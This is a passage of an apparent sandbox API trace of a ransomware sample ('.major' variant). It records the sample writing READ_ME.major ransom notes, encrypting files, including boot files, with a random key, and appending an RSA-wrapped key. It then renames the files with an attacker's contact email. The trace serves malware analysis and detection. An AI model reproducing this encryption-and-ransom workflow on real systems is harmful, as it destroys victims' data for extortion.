lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Users", cAlternateFileName="")) returned 1 [0106.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.526] GetLastError () returned 0x5 [0106.526] SetLastError (dwErrCode=0x5) [0106.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0106.527] GetLastError () returned 0x5 [0106.527] SetLastError (dwErrCode=0x5) [0106.527] GetLastError () returned 0x5 [0106.528] SetLastError (dwErrCode=0x5) [0106.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0106.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0106.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0106.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0106.528] GetLastError () returned 0x5 [0106.528] SetLastError (dwErrCode=0x5) [0106.529] GetLastError () returned 0x5 [0106.529] SetLastError (dwErrCode=0x5) [0106.529] GetLastError () returned 0x5 [0106.529] SetLastError (dwErrCode=0x5) [0106.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4710 [0106.529] CreateFileW (lpFileName="\\Users\\READ_ME.major" (normalized: "c:\\users\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.530] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4710 | out: hHeap=0x570000) returned 1 [0106.530] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.531] CloseHandle (hObject=0x448) returned 1 [0106.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0106.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0106.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0106.531] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xf29dc45b, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xf29dc45b, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows", cAlternateFileName="")) returned 1 [0106.531] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0106.531] GetLastError () returned 0xb7 [0106.531] SetLastError (dwErrCode=0xb7) [0106.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0106.532] GetLastError () returned 0xb7 [0106.532] SetLastError (dwErrCode=0xb7) [0106.532] GetLastError () returned 0xb7 [0106.532] SetLastError (dwErrCode=0xb7) [0106.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4710 [0106.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0106.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0106.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0106.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3450 [0106.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3450 | out: hHeap=0x570000) returned 1 [0106.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5969b8 [0106.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5969b8 | out: hHeap=0x570000) returned 1 [0106.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0106.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4710 | out: hHeap=0x570000) returned 1 [0106.532] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1 [0106.532] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0106.532] GetLastError () returned 0xb7 [0106.532] SetLastError (dwErrCode=0xb7) [0106.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0106.532] GetLastError () returned 0xb7 [0106.532] SetLastError (dwErrCode=0xb7) [0106.532] GetLastError () returned 0xb7 [0106.532] SetLastError (dwErrCode=0xb7) [0106.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4710 [0106.532] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4748 [0106.533] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4710 | out: hHeap=0x570000) returned 1 [0106.533] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4748 | out: hHeap=0x570000) returned 1 [0106.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4710 [0106.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0106.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4748 [0106.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0106.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0106.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0106.533] GetLastError () returned 0xb7 [0106.533] SetLastError (dwErrCode=0xb7) [0106.533] GetLastError () returned 0xb7 [0106.533] SetLastError (dwErrCode=0xb7) [0106.533] GetLastError () returned 0xb7 [0106.533] SetLastError (dwErrCode=0xb7) [0106.533] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0106.533] CreateFileW (lpFileName="\\Windows10Upgrade\\READ_ME.major" (normalized: "c:\\windows10upgrade\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.879] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0106.879] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.880] CloseHandle (hObject=0x448) returned 1 [0106.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0106.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0106.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0106.880] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4748 | out: hHeap=0x570000) returned 1 [0106.880] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0 [0106.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0106.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0106.881] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0106.881] SetFileAttributesW (lpFileName="\\swapfile.sys", dwFileAttributes=0x80) returned 0 [0106.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589680 [0106.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5a10c8 [0106.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589680 | out: hHeap=0x570000) returned 1 [0106.881] CreateFileW (lpFileName="\\swapfile.sys" (normalized: "c:\\swapfile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0106.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0106.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0106.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0106.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0106.882] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0106.882] SetFileAttributesW (lpFileName="\\pagefile.sys", dwFileAttributes=0x80) returned 0 [0106.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589680 [0106.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5a10c8 [0106.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589680 | out: hHeap=0x570000) returned 1 [0106.882] CreateFileW (lpFileName="\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0106.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0106.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0106.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0106.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0106.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.882] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0106.882] SetFileAttributesW (lpFileName="\\hiberfil.sys", dwFileAttributes=0x80) returned 0 [0106.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589680 [0106.882] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5a10c8 [0106.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589680 | out: hHeap=0x570000) returned 1 [0106.882] CreateFileW (lpFileName="\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0106.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0106.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0106.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1298 | out: hHeap=0x570000) returned 1 [0106.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0106.883] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0106.883] SetFileAttributesW (lpFileName="\\BOOTSECT.BAK", dwFileAttributes=0x80) returned 1 [0106.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589680 [0106.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5a10c8 [0106.883] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589680 | out: hHeap=0x570000) returned 1 [0106.883] CreateFileW (lpFileName="\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.883] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0106.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x5c97b8 [0106.883] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x5cb7c0 [0106.884] ReadFile (in: hFile=0x448, lpBuffer=0x5c97b8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c97b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0106.901] SetFilePointer (in: hFile=0x448, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.901] WriteFile (in: hFile=0x448, lpBuffer=0x5cb7c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cb7c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0106.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c97b8 | out: hHeap=0x570000) returned 1 [0106.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cb7c0 | out: hHeap=0x570000) returned 1 [0106.902] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0106.902] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0106.902] WriteFile (in: hFile=0x448, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0106.904] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0106.905] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0106.905] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0106.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0106.905] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="BxXxt5XHL23GR0/QpjqNOEBcahJn9z0xLoDlEvItc0rQGz4R2CkfgE1d3t3t8VcI\nhNtjx/Ov/6qmf0Udpx2aJoKi1QmnmzrXUTB7R2fFeTO67mKHo+absOm0W41+/YVr\nAH3v843rwawjZNYKiCN89qiYUNH6iIwNDVNioDlQGPNEv7BJRiHh0AqQhEl1m3WJ\nEnFVtHjmcdHk/2WOdjXaHuXyrGhMfgSm7evInEvzrSrBFsHhWLSiZpGKVZCzmaej\nYy0bA6PsDbt4OgfSiH45lDJRO6bDq/wCiiXnCzaqzX/XgzUJbj1Z1C7JUvAcI/VB\nYL/PQr21zmaXIOmUjM2vDw==\n", pcchString=0x2e3f9a8) returned 1 [0106.905] WriteFile (in: hFile=0x448, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0106.906] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0106.906] WriteFile (in: hFile=0x448, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0106.906] CloseHandle (hObject=0x448) returned 1 [0106.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0106.911] MoveFileExW (lpExistingFileName="\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), lpNewFileName="\\BOOTSECT.BAK.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\bootsect.bak.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0106.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0106.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0106.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0106.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0106.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.913] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0106.913] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0106.913] SetFileAttributesW (lpFileName="\\BOOTNXT", dwFileAttributes=0x80) returned 1 [0106.949] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0106.949] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0106.949] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0106.949] CreateFileW (lpFileName="\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.950] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1) returned 1 [0106.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d1f0 [0106.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d320 [0106.950] ReadFile (in: hFile=0x448, lpBuffer=0x59d1f0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1, lpOverlapped=0x0) returned 1 [0106.951] SetFilePointer (in: hFile=0x448, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.951] WriteFile (in: hFile=0x448, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1, lpOverlapped=0x0) returned 1 [0106.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0106.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0106.951] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1 [0106.951] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0106.951] WriteFile (in: hFile=0x448, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0106.951] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0106.951] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0106.952] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0106.952] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0106.952] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="0XeY/imIHqOJl5mGcH0CWs00OWJJmbjss9HoP9i8Zu+vMUF1d80Q4BkkkTQY5Qky\nMXU0pQxnqOPTqKSTCf56JL+WlboBZi0wJfsw5fnirX7AeR2vubg5TLQAvrnoagWe\nq96bO9ocu9oZMCyCZl0EXeI5gSLcw9SP9mGUVoaIvuX8q+U4ct52iEqCdePkm4TX\niX3xQWty10dB2BzZS3x63WpOPjG7Cx2Y7mIcV637PMh9YaYIrZPBSiHAAmbTIcYd\naqep4MpoYbFHObA5Lz4XU4Nv2qtVZVAj/n0I7LlrovsiWgrmg8CpUWcwukeA0OtI\nHFgTnthKS3qP0KWFblrVUQ==\n", pcchString=0x2e3f9a8) returned 1 [0106.952] WriteFile (in: hFile=0x448, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0106.952] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0106.952] WriteFile (in: hFile=0x448, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0106.952] CloseHandle (hObject=0x448) returned 1 [0106.953] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0106.953] MoveFileExW (lpExistingFileName="\\BOOTNXT" (normalized: "c:\\bootnxt"), lpNewFileName="\\BOOTNXT.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\bootnxt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0106.954] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0106.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0106.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0106.955] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1270 | out: hHeap=0x570000) returned 1 [0106.955] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0106.955] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.955] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0106.955] SetFileAttributesW (lpFileName="\\bootmgr", dwFileAttributes=0x80) returned 0 [0106.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0106.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0106.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0106.957] CreateFileW (lpFileName="\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0106.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0106.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0106.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1220 | out: hHeap=0x570000) returned 1 [0106.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0106.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.957] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0106.957] SetFileAttributesW (lpFileName="\\$WINRE_BACKUP_PARTITION.MARKER", dwFileAttributes=0x80) returned 1 [0107.060] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, 